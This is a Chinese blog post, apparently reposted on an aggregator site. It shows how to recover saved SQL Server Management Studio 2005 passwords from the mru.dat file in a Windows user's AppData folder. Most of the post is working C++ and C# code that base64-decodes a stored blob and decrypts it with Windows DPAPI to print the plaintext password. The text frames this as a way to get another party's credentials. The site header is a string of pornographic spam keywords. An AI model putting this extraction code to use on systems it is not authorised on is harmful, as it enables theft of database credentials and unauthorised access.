日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

获取本机MSSQL保存凭证

發布時間:2025/7/14 数据库 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 获取本机MSSQL保存凭证 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

首先要感謝哥們對我的指點,多謝。

當我們遇到類似情況下,如何獲取保存在MSSQL工具里的憑證呢?

?//如果對方連接地址后面加了IP\sqlexpress 連接的時候你也記得加上,不然即使密碼正確,也會說登錄失敗。

?

通過和哥們討論研究分析以及查找資料,知道了密碼存放的地方:

C:\Users\Administrator\AppData\Roaming\Microsoft\Microsoft SQL Server\90\Tools\ShellSEM\mru.dat (當前MSSQL 連接工具為2005)

我們通過C32來查看MRU.DAT,會發現一串BASE64編碼:

?

這個就是我們的保存的憑證,但是并不是直接還原BASE64就可以了,需要DECODE后還需要DPAPI來進行解密:

?

代碼如下:

?

// Encode.cpp : 定義控制臺應用程序的入口點。 // #include "stdafx.h" #include <Windows.h> #include <stdio.h> #include <iostream> #include <cstdlib> #include <stdio.h> #pragma comment(lib, "crypt32.lib") using namespace std;int Base64Decoder(char *input, unsigned char *output) {char base64string[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";BYTE dataBuffer[4];BYTE outputBuffer[3];BYTE finalBuffer[1000];int count=0;int padCount=0;int length;length = strlen(input);//Validate the data for BASE64if( length % 4 ){printf("%s - Invalid base64 data is supplied %s (%d) ", input, length);return 0;}//count the no of paddingif (input[length-1] == '=')padCount++;if (input[length-2] == '=')padCount++;// Process 4 chars in each loop to produce 3 charsfor (int i=0; i < length; i += 4){// Populate data buffer with position of Base64 characters for// next 4 bytes from encoded datafor (int j=0; j < 4 && (i + j < length); j++) dataBuffer[j] = ( (int)strchr(base64string, input[i+j]) - (int)base64string );//Decode data buffer back into bytesoutputBuffer[0] = (dataBuffer[0] << 2) + ((dataBuffer[1] & 0x30) >> 4);outputBuffer[1] = ((dataBuffer[1] & 0x0f) << 4) + ((dataBuffer[2] & 0x3c) >> 2); outputBuffer[2] = ((dataBuffer[2] & 0x03) << 6) + dataBuffer[3];// Add all non-padded bytes in output buffer to decoded datafor (int k = 0; k < 3; k++)finalBuffer[count++]=outputBuffer[k];}count = count-padCount;//copy the decoded data into input buffer memcpy(output, finalBuffer, count);output[count]='\0';printf("Base64 decoded string is [%s] (%d) ", output, count);// std::cout << "11111" << std::endl;std::cout << finalBuffer << std::endl;return count; }int main(int argc,char** argv) {unsigned char output[1000] = {0};//Base64Decoder("ZnVja3lvdQ==",output);int i=Base64Decoder("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A==",output);if (i == 0){printf("Encode error\r\n");return -1;}DATA_BLOB DataPassword;DATA_BLOB DataOutput;DataPassword.cbData = i;DataPassword.pbData = output;if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt Mssql password {wcout << "Mssql credence Password Length: " << DataOutput.cbData << "\r\n"; wcout << "Mssql credence Password: " << (wchar_t*)DataOutput.pbData; }else{wcout << "Error";
     return -1;}
return 0;}

?

還有一份C#,是我哥們寫的:

?

using System; using System.Collections.Generic; //using System.Linq; using System.Text;namespace Mssql {class Program{static void Main(string[] args){Console.WriteLine(Encoding.Unicode.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A=="), null, System.Security.Cryptography.DataProtectionScope.LocalMachine)));}} }

?

?

還原后:

VC

?

?

C#

?

轉載于:https://www.cnblogs.com/killbit/p/4355950.html

總結

以上是生活随笔為你收集整理的获取本机MSSQL保存凭证的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。